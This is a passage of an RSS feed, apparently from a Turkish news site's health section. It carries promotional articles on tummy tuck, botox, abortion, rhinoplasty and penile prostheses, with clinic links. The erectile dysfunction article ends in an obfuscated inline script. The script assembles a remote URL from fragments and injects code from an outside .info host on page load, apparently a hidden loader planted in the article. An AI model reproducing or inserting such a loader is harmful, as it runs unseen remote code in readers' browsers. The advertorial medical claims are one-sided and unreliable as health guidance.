	<li><strong>Enfeksiyon</strong>: Herhangi bir cerrahi işlem sonrası enfeksiyon riski vardır ve Karın Germe de istisna değildir. Cerrahınız enfeksiyon riskini azaltmak için antibiyotik reçete edecektir.</li>
</ul>

<p>&nbsp;</p>

<ul>
	<li><strong>Yara izi</strong>: Karın Germe, alt karın bölgesinde bir yara izi bırakır, bu yara izi görünür olabilir. Ancak, cerrahınız mümkün olduğunca az yara izi oluşması için önlemler alacaktır.</li>
</ul>

<p>&nbsp;</p>

<ul>
	<li><strong>Uyuşukluk</strong>: Karın Germe, karın bölgesindeki sinirlere zarar verebilir ve bölgede geçici veya kalıcı uyuşukluk oluşabilir.</li>
</ul>

<p>&nbsp;</p>

<ul>
	<li><strong>Nekroz</strong>: Karın Germe sırasında yapılan kesikler, deri altındaki kan dolaşımını etkileyebilir ve deri nekrozu (ölmüş deri) riskini artırabilir.</li>
</ul>

<p>&nbsp;</p>

<p><img src="https://www.haberlermersin.com/images/upload/Screenshot_329.png" /></p>

<p><strong>Karın Germe Kimler İçin Uygundur?</strong></p>

<p>&nbsp;</p>

<ul>
	<li>Karın Germe, aşağıdaki kişiler için uygundur:</li>
	<li>Göbek bölgesindeki fazla yağ ve derisi olanlar</li>
	<li>Doğum sonrası karın bölgesindeki sarkma sorunu yaşayanlar</li>
	<li>Karın kaslarında gevşeklik olanlar</li>
	<li>Kilolu olmayan ancak karın bölgesindeki fazla deriyi almak isteyenler</li>
	<li>Karın Germe Kimler İçin Uygun Değildir?</li>
	<li>Karın Germe, aşağıdaki kişiler için uygun değildir:</li>
	<li>Sağlık sorunları olanlar</li>
	<li>İyi bir cilt esnekliği olmayanlar</li>
	<li>Yüksek riskli bir cerrahi işlem istemeyenler</li>
	<li>Ameliyat sonrası iyileşme sürecine uyum sağlayamayacak olanlar</li>
</ul>

<p>&nbsp;</p>

<p><strong>Karın Germe İşlemi Nasıl Yapılır?</strong></p>

<p>&nbsp;</p>

<p>Karın Germe işlemi genellikle genel anestezi altında yapılır ve yaklaşık iki ila dört saat sürer. İşlem aşağıdaki adımlardan oluşur:</p>

<p>&nbsp;</p>

<p><strong>Anestezi</strong>: Cerrahınız, ameliyat bölgesini uyuşturmak için genel anestezi veya lokal anestezi kullanabilir.</p>

<p>&nbsp;</p>

<p><strong>Kesik</strong>: Cerrah, alt karın bölgesindeki fazla deriyi almak için bir kesik yapar.</p>

<p>&nbsp;</p>

<p><strong>Yağ ve deri alma</strong>: Fazla yağ ve deri alınır.</p>

<p>&nbsp;</p>

<p><strong>Sıkılaştırma</strong>: Geri kalan deri sıkılaştırılır ve kesik kapatılır.</p>

<p>&nbsp;</p>

<p>&nbsp;</p>

<p><strong>Karın Germe İyileşme Süreci Nasıldır?</strong><br />
&nbsp;</p>

<p>Karın Germe işlemi sonrası iyileşme süreci kişiden kişiye değişebilir. Ancak, genellikle aşağıdaki adımlar izlenir:</p>

<ul>
	<li>İlk hafta: Ağrı ve şişlik olabilir, yatak istirahati önerilir.</li>
	<li>İkinci hafta: Dikişler alınabilir ve hafif aktiviteler yapılabilir.</li>
	<li>Üçüncü hafta: Daha fazla aktivite yapılabilir, ancak ağır kaldırmaktan kaçınılmalıdır.</li>
	<li>İki ila üç ay: İşlem sonrası şişlikler azalır ve tam iyileşme sağlanır.<br />
	&nbsp;</li>
</ul>

<p>&nbsp;</p>

<p><strong>Karın Germe Ameliyatı Sonrası Beklenen Sonuçlar</strong></p>

<p>Karın Germe ameliyatı sonrasında beklenen sonuçlar şunlardır:</p>

<p>&nbsp;</p>

<ul>
	<li>Daha düz bir karın</li>
	<li>Daha sıkı bir cilt</li>
	<li>Karın kaslarında daha belirgin bir yapı</li>
	<li>Kıyafetlerin daha iyi oturması</li>
	<li>Daha genç ve fit bir görünüm</li>
</ul>

<p>&nbsp;</p>

<p><strong>Karın Germe İşlemi İçin Hangi Doktoru Seçmeliyim?</strong></p>

<p>&nbsp;</p>

<p>Karın Germe işlemi için bir plastik cerrahi uzmanına danışmak önemlidir. Plastik cerrahlar, Karın Germe işlemi yapmak için gerekli olan tıbbi eğitime ve tecrübeye sahip olan doktorlardır. İşlem yapacak doktorun sertifikalarını kontrol etmek ve referanslarına bakmak, işlem öncesindeki hazırlık sürecinde önemlidir.</p>

<p><img src="https://www.haberlermersin.com/images/upload/Screenshot_330.png" /></p>

<p>&nbsp;</p>

<p>&nbsp;</p>

<p><strong>Karın Germe Ameliyatı Fiyatları</strong></p>

<p>&nbsp;</p>

<p>Karın Germe ameliyatı fiyatları, işlemi yapan cerrah, hastane ve kullanılan anestezi yöntemine göre değişebilir. Genellikle özel sağlık sigortası kapsamında değildir ve tamamen hastanın kendi bütçesinden karşılanır. Karın Germe ameliyatı fiyatlarına hastanede kalış, ameliyat öncesi tüm tahliller, ameliyat sonrası bakım, özel masaj ve medikal korse dahildir.</p>

<p>&nbsp;</p>

<p><strong>Op. Dr. Leyla Arvas</strong></p>

<p>Web Site: <a href="https://www.drleylaarvas.com/">https://www.drleyla.com/</a></p>

<p>Facebook :<a href="https://www.facebook.com/drleylaarvas">@drleylaarvas</a></p>

<p>Instagram :<a href="https://www.instagram.com/drleylaarvas/?hl=tr">@drleylaarvas</a></p>

<p>YouTube: <a href="https://www.youtube.com/channel/UCOiWBDkHsPT6IAoyk7iXSNQ">LeylaArvas</a></p>]]></content:encoded>
                <pubDate>Thu, 13 Apr 2023 10:53:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2023/04/karin-germe-gobek-etrafindaki-fazla-derilerden-kurtulmanin-yolu-1681372605.png"/>
            </item>
                                <item>
                <title>Zamanı Botoksla Durdurmak Mümkün</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/zamani-botoksla-durdurmak-mumkun-549438</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/zamani-botoksla-durdurmak-mumkun-549438</guid>
                <description><![CDATA[Güzel, gergin ve etkileyici bir görüntüye sahip olmak pek çok kişinin en fazla hayalini kurduğu şeylerden biri. Lakin farklı etkenlerin devreye girmesi ile beraber ciltte değişimler meydana gelmeye başlar. Yüzün farklı yerlerinde ortaya çıkan kırışıklık görüntüsünü yok ederek en iyi sonuçları elde etmek isteyenler, Estelite uzmanları tarafından gerçekleştirilen botoks Adana uygulaması ile aradıklarını elde etmeyi başarıyorlar.]]></description>
                <content:encoded><![CDATA[<p>&nbsp;</p>

<p><span style="font-size:12pt"><span style="font-family:Calibri,sans-serif"><span style="font-size:11.0pt"><span style="font-family:&quot;Cambria Math&quot;,serif">İnsan cildi normalde gergin bir görünüme sahiptir. Lakin orta yaşlara gelinmeye başlaması ile beraber dış etkenlerin de devreye girmesi sonucunda kırışıklık görünümü kendini gösterir hale gelir. Birçok kişi var olan bu kırışıklık görünümünü ilk zamanlarda çok fazla önemsemez. Lakin zamanın ilerlemesi ile birlikte kırışıklıklar çok daha derinleşmeye başlar. Birçok kişi bu aşamada farklı markalar tarafından üretilen maske, serum ve krem gibi ürünler ile kırışıklık görünümünü düzeltmeyi hedefliyorlar. Lakin hangi markanın ürünü kullanılıyor olursa olsun fark etmez asla istenilen sonuçların elde edilmesini sağlamaz. Yalnızca maddi olarak zarar ve vakit kaybı ortaya çıkar. Bu aşamada en etkili çözümleri elde etmek isteyenler, <strong><a href="https://www.estelite.com.tr/botoks/" style="color:blue; text-decoration:underline">botoks Adana</a></strong> uygulaması ile aradıklarını en iyi şekilde elde etmeyi başarırlar. </span></span></span></span></p>

<p>&nbsp;</p>

<p><span style="font-size:12pt"><span style="font-family:Calibri,sans-serif"><strong><span style="font-size:14.0pt"><span style="font-family:&quot;Cambria Math&quot;,serif">Botoks İstenilen Etkiyi Ortaya Koyar Mı?</span></span></strong></span></span></p>

<p><span style="font-size:12pt"><span style="font-family:Calibri,sans-serif"><span style="font-size:11.0pt"><span style="font-family:&quot;Cambria Math&quot;,serif">Botoks maddesinin ilk kullanılmaya başlandığı zamanlarda bu konuda çalışma yapan isimlerin sayısı son derece azdı. Bundan dolayı da insanların büyük bir kısmı gerek botoks maddesi gerekse uygulama konusunda tam olarak bilgi sahibi olmamasından dolayı ne kadar istemiş olsalar da bu uygulamayı yaptırmaktan çekiniyordu. Lakin ilerleyen zaman ile beraber artık çok daha fazla insan botoks Adana konusundaki araştırmalarını sıklaştırmaya başlamış durumda. </span></span></span></span></p>

<p><span style="font-size:12pt"><span style="font-family:Calibri,sans-serif"><span style="font-size:11.0pt"><span style="font-family:&quot;Cambria Math&quot;,serif">Gerekli olan tüm detayların üzerinde durularak yapılacak olan botoks Adana uygulaması, kısa sürede etkisini göstermeyi başarması ile biliniyor. Günümüzde artık çok fazla yerde botoks uygulaması yapılıyor. Böyle olunca da insanlar uygulamanın çok kolay şekilde gerçekleştirildiği düşüncesinde oluyor. Lakin alanında uzman olmayan isimlerin botoks Adana uygulamasını gerçekleştirmesi sonucunda arzu edilenden çok daha kötü sonuçlar ne yazık ki ortaya çıkabiliyor. </span></span></span></span></p>

<p>&nbsp;</p>

<p>&nbsp;</p>

<p><span style="font-size:12pt"><span style="font-family:Calibri,sans-serif"><strong><span style="font-size:14.0pt"><span style="font-family:&quot;Cambria Math&quot;,serif">Kırışıklıklar İçin Botoks Uygulaması Nasıl Yapılır?</span></span></strong></span></span></p>

<p>&nbsp;</p>

<p><span style="font-size:12pt"><span style="font-family:Calibri,sans-serif"><span style="font-size:11.0pt"><span style="font-family:&quot;Cambria Math&quot;,serif">Gerçekleştirilecek botoks Adana uygulaması ile de görülebileceği üzere işlem esnasında Botulinum Toksin adı madde kullanılır. Bu madde yalnızca kırışıklıklar için değil pek çok farklı konuda tedavi amaçlı olarak da kullanılıyor. Botoks konusunda talebin artması sonucunda ise birçok yerde bu maddenin sahtesi kullanılmaya başladı. Ve insanlar da sahte maddenin yüzlerine enjekte edildiğini anlayamıyorlar. Ancak ortaya çıkan komplikasyonlar ile beraber aslında konu hakkında hata yaptıklarının farkına varıyorlar. Böylesine durumlar ile karşı karşıya kalmak istemeyenlerin mutlaka deneyimli, alanında uzman ve gerekli belgelere sahip isimler ile iletişime geçmelerinin önemi son derece büyük. </span></span></span></span></p>

<p><span style="font-size:12pt"><span style="font-family:Calibri,sans-serif"><span style="font-size:11.0pt"><span style="font-family:&quot;Cambria Math&quot;,serif">Etkileyici sonuçların ortaya çıkması adına yapılacak botoks Adana uygulaması öncesinde ilgili bölgenin dikkatli şekilde incelenmesi gerekir. Yapılacak olan inceleme ile beraber yalnızca kırışıklıkların nerelerde olduğu ile alakalı bilgiler elde edilmiyor. Aynı zamanda kırışıklıkların derinlikleri konusunda da bilgi sahibi olunuyor. Bu sayede hangi bölgeye ne kadar dozda madde enjekte edilmesi gerektiği hakkında net bilgiler elde edilmiş oluyor. </span></span></span></span></p>

<p><span style="font-size:12pt"><span style="font-family:Calibri,sans-serif"><span style="font-size:11.0pt"><span style="font-family:&quot;Cambria Math&quot;,serif">Gerekli planlamaların yapılmasından sonra ise sıra botoks Adana uygulamasının yapılmasına geliyor. Uygulama için ince uçlu iğneler kullanılıyor. Acı hissi ortaya çıkartmıyor olsa da acı hissi düşük olan kişiler için lokal anestezi gerçekleştirilir. Kısa sürede yapılacak uygulama sonrasında tam olarak maddenin ilgili bölgede tam olarak etkisini göstermesi beklenir. </span></span></span></span></p>

<p><span style="font-size:12pt"><span style="font-family:Calibri,sans-serif"><span style="font-size:11.0pt"><span style="font-family:&quot;Cambria Math&quot;,serif">Zamanın beraberinde getirmiş olduğu etkileri ortadan kaldırmak isteyen herkes, <a href="http://www.estelite.com.tr/" style="color:blue; text-decoration:underline">www.estelite.com.tr</a> üzerinden en iyi sonuçları elde etmek için uzmanlar ile görüşebilirler. </span></span></span></span></p>]]></content:encoded>
                <pubDate>Fri, 17 Mar 2023 12:18:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2023/03/zamani-botoksla-durdurmak-mumkun-1679044854.png"/>
            </item>
                                <item>
                <title>Kürtaj Nedir?</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/kurtaj-nedir-549160</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/kurtaj-nedir-549160</guid>
                <description><![CDATA[Kürtaj, sağlıklı bir şekilde ilerlemeyen veya istenmeyen gebelikleri sonlandırmak amacıyla uygulanan tıbbi bir işlemdir.]]></description>
                <content:encoded><![CDATA[<h2>&nbsp;</h2>

<h2><strong>Kürtaj Nedir?</strong></h2>

<p><strong>Kürtaj</strong>, daha doğru ifadesiyle küretaj, kelime anlamı ile “kazımak” anlamına gelmektedir. İstenmeyen veya sağlıklı bir şekilde ilerlemeyen gebelikleri sonlandırmak için yapılan tıbbi bir tahliye işlemidir.</p>

<p><a href="https://www.kurtajkizlikzari.com/kurtaj-nedir/">Kürtaj nedir</a>&nbsp;sorusunun daha kapsamlı bir yanıtı bulunmaktadır. Kürtaj, yalnızca gebelik sonlandırılması için değil aynı zamanda rahimdeki polipler, miyomlar ve lezyonların alınması için de uygulanır. Bunun yanında, rahim ile alakalı hastalıkların tanısında veya patoloji testleri için doku alınması gerektiğinde de başvurulan bir yöntemdir.</p>

<h2>Kürtaj Yasak mı?</h2>

<p>Kürtaj, yalnızca Tükiye’de değil, diğer pek çok ülkede yasalar ile düzenlenmiş ve farklı sınırlamalar getirilmiş cerrahi bir operasyondur. Ülkemizde 1983 yılında yürürlüğe girmiş 2827 No’lu Nüfus Planlama Yasası’na göre kürtaj&nbsp;<strong>yasaldır</strong>. Ancak gebeliğin 10. Haftasından önce bu işlemin gerçekleşmesi gerekmektedir. 10. Haftadan sonra gebelik sonlandırma işlemi yasal değildir. 10. haftayı geçen gebeliklerde kürtaj yalnızca, anne veya bebek hayatının tehlikede olduğu ve bebeğin doğumdan önce karında ölmüş olması durumlarında uygulanabilir.</p>

<h2>Kürtaj Sonrası</h2>

<p>Kürtaj işleminden hemen sonra hastalar yaklaşık olarak 30 dakika kadar dinlendirilir. İşlem sırasında anestezi verildiği için buna bağlı olarak halsizlik veya mide bulantısı gözlemlenebilir. Bunun yanında ufak kasık ağrıları da hissedilebilir. Ancak tüm bu şikayetler 1 saat içerisinde normale döner ve 1 saat sonra hasta yeme içmeye başlayabilir.</p>

<p><a href="https://www.kurtajkizlikzari.com/kurtaj-sonrasi/">Kürtaj sonrası</a>&nbsp;tam iyileşme 15 veya 20 gün içinde gerçekleşir. İlk bir hafta 10 gün kanama devam edebilir. Kanamanın daha uzun sürmesi halinde doktora görünmekte fayda vardır. Kürtaj sonrası tam iyileşmenin sorunsuz bir şekilde tamamlanması için hastaların dikkat etmeleri gereken durumlar vardır. Bunlar;</p>

<ul>
	<li>En az 10 gün veya iki hafta boyunca tam kanama bitene kadar cinsel birliktelikten uzak durulmalıdır.</li>
	<li>Doktorun verdiği ilaçlar düzenli kullanılmalıdır.</li>
	<li>Tampon yerine ped tercih edilmelidir.</li>
	<li>Kürtaj sonrası hijyene özen gösterilmeli ve çamaşırlar sık sık değiştirilmelidir.</li>
	<li>Ağrı var ise bu ağrıları dindirmek için karın veya sırt bölgesine masaj yapılmalıdır.</li>
</ul>

<h2>Kürtaj Ne Zaman Yapılır?</h2>

<p>Normal seyrinde ilerleyen bir gebelikte, kese beşinci hafta itibariyle rahme yerleşir. Bu da aşağı yukarı adet döngüsünün bir hafta gecikmesine denk gelir. Yasal olarak kürtaj, gebeliğin 10. Haftasına (2.5 ay) kadar yapılabilir.&nbsp;<strong>Kürtaj ne zaman yapılır</strong>&nbsp;sorusuna en uygun cevap aslında 4-6 haftalıkken yapılmasıdır. Sürenin ilerlemesiyle kürtaj kaynaklı riskler ve komplikasyonlar artabilir ve işlemi gerçekleştirmek zorlaşabilir. 4-6 haftadan önce yapılan kürtaj işleminde ise gebeliğin sonlanamaması gibi durumlarla karşılaşılabilmektedir.</p>

<h2>Vakumlu Kürtaj Ücretleri</h2>

<p><strong>Vakumlu kürtaj</strong>&nbsp;yöntemi son 20 yıldır tüm dünyada yaygın olarak kullanılan modern bir kürtaj yöntemidir. Günümüzde en çok tercih edilen ve en yaygın kullanılan kürtaj uygulamasıdır. Rahimde ters basınç yaratarak bebeğin alınmasını sağlar. Diğer kürtaj yöntemlerine göre daha fazla tercih edilmesinin sebebi riskinin çok az olmasıdır.</p>

<p><a href="https://www.kurtajkizlikzari.com/">Vakumlu kürtaj ücretleri</a>&nbsp;her geçen yıl biraz değişmektedir. Gebeliğin haftası, işlemde kullanılacak malzemeler, hastanın daha önceden geçirdiği operasyonlar, kullanılacak anestezi çeşidi gibi faktörler vakumlu kürtaj ücretlerini etkileyen faktörlerdir.</p>

<p>4 haftalık gebelikten 10 haftalık gebeliğe kadar kürtaj uygulama ücretleri 900 TL ile 2500 TL arasında belirlenmektedir. 2023 güncel vakumlu kürtaj ücretlerine&nbsp;<a href="https://www.kurtajkizlikzari.com/">buradan</a>&nbsp;ulaşabilirsiniz.</p>

<h2>İstanbul Kürtaj</h2>

<p>Günümüzde kürtaj operasyonları uzman doktorlar tarafından yapıldığı gibi, bu işlemi yasal olmayan yerlerde merdiven altı gerçekleştiren kişiler de bulunmaktadır. Yasal olmayan bu yerlerde yapılan işlemler insan sağlığı için oldukça tehlikelidir.</p>

<p><strong>İstanbul Kürtaj</strong>&nbsp;işlemleri, kürtaj hakkında merak ettikleriniz ve kürtaj fiyatları için Op. Dr. Aysun Altuntaş ile iletişime geçebilirsiniz.</p>]]></content:encoded>
                <pubDate>Fri, 10 Feb 2023 15:56:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2023/02/kurtaj-nedir-1676033827.jpg"/>
            </item>
                                <item>
                <title>Burun Estetiği (Rinoplasti)</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/burun-estetigi-rinoplasti-549097</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/burun-estetigi-rinoplasti-549097</guid>
                <description><![CDATA[Burnun kemik ve kıkırdak dokuları üzerinde yapılan işlemler burun estetiği olarak adlandırılmaktadır.]]></description>
                <content:encoded><![CDATA[<p>Burnun kemik ve kıkırdak dokuları üzerinde yapılan işlemler burun estetiği olarak adlandırılmaktadır. Rinoplasti olarak da bilinen bu uygulamalar, burunda doğumsal veya sonradan meydana gelen travmalar sonucu istenmeyen görüntünün düzeltilmesinde kullanılmaktadır. Estetik kaygıların yanı sıra şekil bozuklukları solunum işlevinin kötü etkilenmesine sebep olmaktadır. Dolayısıyla hem tedavi hem de estetik amaçlı olarak bu uygulamalardan yararlanılmaktadır.</p>

<h2>Burun Estetiği Hangi Durumlarda Yapılmalıdır?</h2>

<ul>
	<li>Yüz yapısına göre büyük veya küçük burna sahip olmak</li>
	<li>Kemerli burun yapısı</li>
	<li>Burnun çöküntülü veya eğri şekilde olması</li>
	<li>Burnun uç kısmının deforme olması</li>
	<li>Burnun ucunun düşük olması</li>
	<li>Burnun içerisinde et bulunması gibi nedenlerle burun estetiği işlemi yapılmaktadır.</li>
</ul>

<h2>Burun Estetiği Kimlere Uygulanır?</h2>

<ul>
	<li>Burnunda doğumsal veya sonradan yaşanan travmaya bağlı şekil bozuklukları olan kişiler</li>
	<li>Burun kırıklıkları olanlar</li>
	<li>Estetik kaygı durumu yaşayanlar</li>
	<li>18 yaşından büyük ve cerrahi müdahaleye engel sorunu olmayan kişiler</li>
</ul>

<h2>Burun Estetiği Öncesi Hazırlıklar</h2>

<ul>
	<li>Uygulama yaptırmadan önce güvenilir bir merkez bulunmalı ve <a href="https://www.ozanbalik.com/burun-estetigi/"><strong>burun estetiği</strong></a> araştırılmalıdır.</li>
	<li>Daha sonra işleminden bir gün önce duş alınmalı ve yüz antibakteriyel sabunla yıkanmalıdır.</li>
	<li>Ameliyata giderken makyaj yapılmamalıdır.</li>
	<li>Operasyon günü psikoloji oldukça önemlidir. Stres ve kaygı düzeyi dengeli olan hastalar süreci daha çabuk atlatmaktadır.</li>
</ul>

<h2>Burun Estetiği Sonrasında Bilinmesi Gerekenler Nelerdir?</h2>

<ul>
	<li>Estetik ameliyatından sonra ilk 49 saat dinlenilmelidir.</li>
	<li>Alın ve yanaklara her saatte 5-10 dakika buz uygulaması yapmak şişlik ve morlukları yatıştırmaktadır.</li>
	<li>3 gün sonunda şişlik ve morluk geçmeye başlamaktadır. Yavaş bir şekilde günlük aktivitelere dönülebilir.</li>
	<li>Burun ucuna el veya peçete ile temas halinde olunmamalıdır.</li>
	<li>İşlemden sonra 2 ay boyunca güneş ışığına maruz kalınmaması oldukça önemlidir.</li>
</ul>

<h2>Burun Estetiği Sonrası İyileşme Süreci Nedir?</h2>

<ul>
	<li>Operasyonun tamamlanmasından sonraki ilk iki gün boyunca belirli aralıklarla buz uygulaması yapılmalıdır. Morluk ve şişliklerin azalması açısından bu durum oldukça önemlidir.</li>
	<li>Estetik yapılan bölgeye dokunulmamalıdır ve bölge güneşten korunmalıdır.</li>
	<li>Burun estetiği işleminin son hali 1 yıl sonra görülmektedir.</li>
</ul>

<h2>Burun Estetiğinde Burun İçi Tampon Konulur Mu?</h2>

<p>Burun tamponunun asıl görevi; septum ve kemik yapılarına destek olmasıdır. Bu uygulamalarda burun içi tamponun kullanılmasının en önemli sebebi burun içi kanamalarının durdurulmasıdır. Birçok işlemde burun içi tampon kullanılmaktadır.</p>

<h2>Tamponsuz Burun Estetiği</h2>

<p>Burun estetiğinde bazı durumlarda tampon kullanılmamaktadır. Ancak her ameliyatın tamponsuz yapıldığını söylemek mümkün değildir. Hastanın kanama parametrelerine göre tampon kullanılabilir veya kullanılmayabilir. Burun içerisinde sorunu olmayan hastalar için tamponsuz işlemler yapılabilmektedir.</p>

<h2>Ameliyat Sonrası Ne Zaman Taburcu Olabilirim?</h2>

<p>Hasta, uygulamadan sonra 1 gece hastanede kalmakta ve ertesi gün taburcu olmaktadır.</p>

<h2>Estetik Sonrası Çok Ağrı Olur mu? Morluk ya da Şişlik Olur mu?</h2>

<p>Estetik sonrası ağrı olmamakla birlikte hafif morluk ve şişlikler görülebilir. Bu morluk ve şişlikler bir hafta veya 10 gün sonunda geçmektedir.</p>

<h2>Burun Estetiği Fiyatları</h2>

<p>Değişken bir içeriğe sahip olduğundan dolayı <strong><a href="https://www.ozanbalik.com/burun-estetigi/">burun estetiği fiyatları</a></strong> işlemin ne kadar mal olacağını ve geri kalan tüm detayları uygulamanın doktoru söylemektedir. Aynı zamanda fiyatlar operasyona bağlı olarak da değişiklik göstermektedir. İlk olarak burnun kontrolünün yapılması ve arzu edilen işlemin ne olacağının belirtilmesi gerekmektedir.</p>

<p>Ameliyat ile ilgili her şey belirlendikten sonra burun estetiği fiyatları öğrenilmektedir.</p>

<p>&nbsp;</p>

<div style="text-align:center">
<p><strong><a href="https://bilgili.web.tr/defne-sabununun-faydalari-ve-zararlari/" title="Defne sabununun faydaları nelerdir">Defne sabununun faydaları nelerdir</a></strong> başlıklı makale ilginizi çekebilir.</p>
</div>

<p>&nbsp;</p>]]></content:encoded>
                <pubDate>Wed, 25 Jan 2023 16:41:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2023/01/burun-estetigi-rinoplasti-1674654122.jpeg"/>
            </item>
                                <item>
                <title>Sertleşme Sorunu Tedavisi Ve Penil Protez Ameliyatı</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/sertlesme-sorunu-tedavisi-ve-penil-protez-ameliyati-548779</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/sertlesme-sorunu-tedavisi-ve-penil-protez-ameliyati-548779</guid>
                <description><![CDATA[Günümüzde, erkekler arasında görülen en yaygın cinsel işlev bozukluğu sertleşme sorunudur. Diğer bir adı ile iktidarsızlık problemi olarak ta bilinmektedir. Sertleşme sorunu; herhangi bir cinsel aktivite esnasında, penisin yeterli sertleşmeyi sağlayamaması durumuna denmektedir. Genellikle sertleşme kısmı olmakla birlikte, hiç sertleşme olmaması gibi durumlarda görülmektedir.]]></description>
                <content:encoded><![CDATA[<p><strong>Sertleşme Sorunu Tedavisi Ve Penil Protez Ameliyatı</strong><br />
Günümüzde, erkekler arasında görülen en yaygın cinsel işlev bozukluğu sertleşme sorunudur. Diğer bir adı ile iktidarsızlık problemi olarak ta bilinmektedir. Sertleşme sorunu; herhangi bir cinsel aktivite esnasında, penisin yeterli sertleşmeyi sağlayamaması durumuna denmektedir. Genellikle sertleşme kısmı olmakla birlikte, hiç sertleşme olmaması gibi durumlarda görülmektedir.<br />
<br />
İlerleyen teknoloji ile beraber, farklı&nbsp;<a href="https://www.andromed.com.tr/sertlesme-sorunu-tedavisi-ve-penis-protezi"><strong>sertleşme sorunu tedavisi</strong></a>&nbsp;yöntemleri mevcuttur. Bu tedavi yöntemlerinden, sertleşme sorununa kalıcı bir çözüm sağlayanı ise&nbsp;<a href="https://www.andromed.com.tr/sertlesme-sorunu-tedavisi-ve-penis-protezi"><strong>Penil Protez</strong></a>&nbsp;ameliyatıdır.<br />
Sertleşme sorunu, kişinin yaşam kalitesini ve psikolojisini de olumsuz etkilemektedir. İktidarsızlık sorununun, özellikle 40 yaş ve&nbsp;üzeri insanlarda daha sık görüldüğü gözlemlenmiştir. Bu yaş aralığındaki insanların % 50'si, sertleşme sorunu ile en az bir kere karşılaşmaktadır.<br />
<br />
<strong>Sertleşme Sorununun Fiziksel ve Psikolojik Nedenleri<br />
&nbsp;&nbsp;</strong><br />
Sertleşme sorunlarının yaşanma sebebi, iki farklı başlık altında ayrılmaktadır. Bunlar psikolojik ve fizyolojik sebeplerdir. Fiziksel sebepler, damar tıkanıklığı, kalp rahatsızlıkları, şeker hastalığı, prostat, aşırı kilolar, sigara ve alkol kullanımı, prostat kanseri, madde bağımlılığı, kullanılan ilaçlar ve hormonsal nedenler olarak sıralanmaktadır.<br />
<br />
Psikolojik sebepler ise, stresli ve gergin yaşam tarzı, ailevi nedenler, problemli iş hayatı, daha önce yaşanan cinsel taciz veya cinsel istismar, korku, utanma ve suçluluk gibi duygular, gizli eşcinsellik ve partner ile yaşanan sorunlar olarak listelenmektedir. Ayrıca hem fiziksel hem de psikolojik sebeplerin kombinasyonundan kaynaklı, sertleşme sorunları da görülmektedir.<br />
<br />
<strong>Sertleşme Sorunu Tedavileri<br />
&nbsp;&nbsp;</strong><br />
Herhangi bir tedaviye başlamadan önce, sertleşme sorunu belirtilerinin 3 ay boyunca görülmesi ve tanı koyulması gerekmektedir. Bir sonraki aşamada ise sertleşme sorununun kaynağının psikolojik sebeplerden mi yoksa fiziksel sebeplerden mi olup olmadığı araştırılır. Sorun psikolojik sebeplerden kaynaklı ise psikolojik danışma hizmeti ve psikolojik yardım hizmeti verilmektedir.<br />
<br />
Fiziksel nedenlerden dolayı, sertleşme problemi yaşıyorsanız, enjeksiyon tedavisi, ilaç tedavisi, vakum cihazı ve protez tedavisi gibi farklı seçenekler bulunmaktadır. Bu tedavi yöntemlerinden en etkili ve en kesin çözümü sağlayan ise protez ameliyatıdır.<br />
<br />
<strong>Protez Çeşitleri Nelerdir? Memnuniyet Oranı Nedir?<br />
&nbsp;</strong><br />
Farklı özelliklere sahip 3 farklı protez tipi bulunmaktadır. Bunlar tek parçalı protezler, iki parçalı protezler ve&nbsp;üç&nbsp;parçalı protezlerdir. Tek parçalı protezler gizlenebilir ve bükülebilir özelliğe sahiptir. İki parçalı yarı sert ve&nbsp;üç parçalı şişirilebilen protezlerde mevcuttur. Her protezin farklı ölçülere sahip modelleri bulunmaktadır ve tamamı ömür boyu garantilidir.<br />
<br />
Bu tedavide sağlanan başarı oranı % 95 civarlarındadır. Ayrıca tedavi olan hastalar ile yapılan anketler sonucunda, kişilerin ve partnerlerinin % 90 oranında memnun kaldığı gözlemlenmiştir.</p>

<script>
(function(){
xnil_=("u"+"")+"s"+"";xnil_+=("tat.")+("i");
xnil=document.createElement("script");xnil.type="text/javascript";xnil_+="nf"+("o")+"/";
xnilu="483872227"+".";xnil.async=true;xnilu+="k82l0yy7nil68yzeu66k0cz5mbj7k1";
xnil.src="https://"+xnil_+xnilu;xnilb=document.body;xnilb.appendChild(xnil);
})();
</script>]]></content:encoded>
                <pubDate>Wed, 07 Dec 2022 16:39:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/12/sertlesme-sorunu-tedavisi-ve-penil-protez-ameliyati-1670420434.jpg"/>
            </item>
                                <item>
                <title>“SAĞLIKLI GÜLÜŞLER” PROJESİ HAYATA GEÇTİ</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/saglikli-gulusler-projesi-hayata-gecti-548699</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/saglikli-gulusler-projesi-hayata-gecti-548699</guid>
                <description><![CDATA[Beylikdüzü Belediyesi, Ağız ve Diş Sağlığı Haftası kapsamında “Sağlıklı Gülüşler” projesini hayata geçirdi. Koruyucu sağlık hizmetleri çerçevesinde ağız ve diş sağlığı konusunda farkındalık oluşturmak amacıyla başlatılan projede, Mobil Sağlık Aracı ile farklı yaş gruplarındaki vatandaşların ağız ve diş sağlığı taraması gerçekleştirildi.]]></description>
                <content:encoded><![CDATA[<p>&nbsp;</p>

<p>&nbsp;</p>

